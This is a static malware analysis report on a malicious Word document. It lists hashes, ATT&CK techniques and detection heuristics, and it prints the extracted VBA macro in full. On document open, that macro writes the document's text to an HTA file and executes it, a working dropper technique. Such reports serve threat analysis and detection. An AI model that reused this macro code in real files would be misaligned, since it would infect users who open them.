Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8cd500abdc2df43c…

MALICIOUS

Office (OLE)

68.0 KB Created: 2021-09-14 10:42:00 Authoring application: Microsoft Office Word First seen: 2021-09-24
MD5: 9849eb8494b807ce5cfc7dc481cee7aa SHA-1: c6ddb0ce85edd156c127782dff3d3b08ac1af358 SHA-256: 8cd500abdc2df43c901a549ffd7cd78c7f7a5ea8cadee22d202113e88a9efb2b
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro that executes a shell command. The macro writes content to a file named 'dtDeUs.hta' and then executes it. This indicates a downloader or dropper functionality, likely intended to fetch and execute a second-stage payload. The presence of a lure to enable macros and the ClamAV detection further support its malicious nature.

Heuristics 7

  • ClamAV: Doc.Downloader.BluePaletteW09211-9893001-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BluePaletteW09211-9893001-0
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 692 bytes
SHA-256: 371195b8ada168cb1c4a26bb2db8332c73a189d1d0c5d92db29b17e5a7395290
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
XR "dtDeUs.ht", ActiveDocument.Range.Text
End Sub

Attribute VB_Name = "caPrev"
Sub XR(exNextDe, plDtNext)
Open exNextDe & "a" For Output As #1
Print #1, Replace(plDtNext, "#-", "")
Close #1
plPrev exNextDe, "exp"
End Sub
Sub plPrev(exNextDe, usPwDe)
Set prevPwPw = New IWshRuntimeLibrary.WshShell
With prevPwPw
.exec usPwDe + "lorer " + exNextDe & "a"
End With
End Sub

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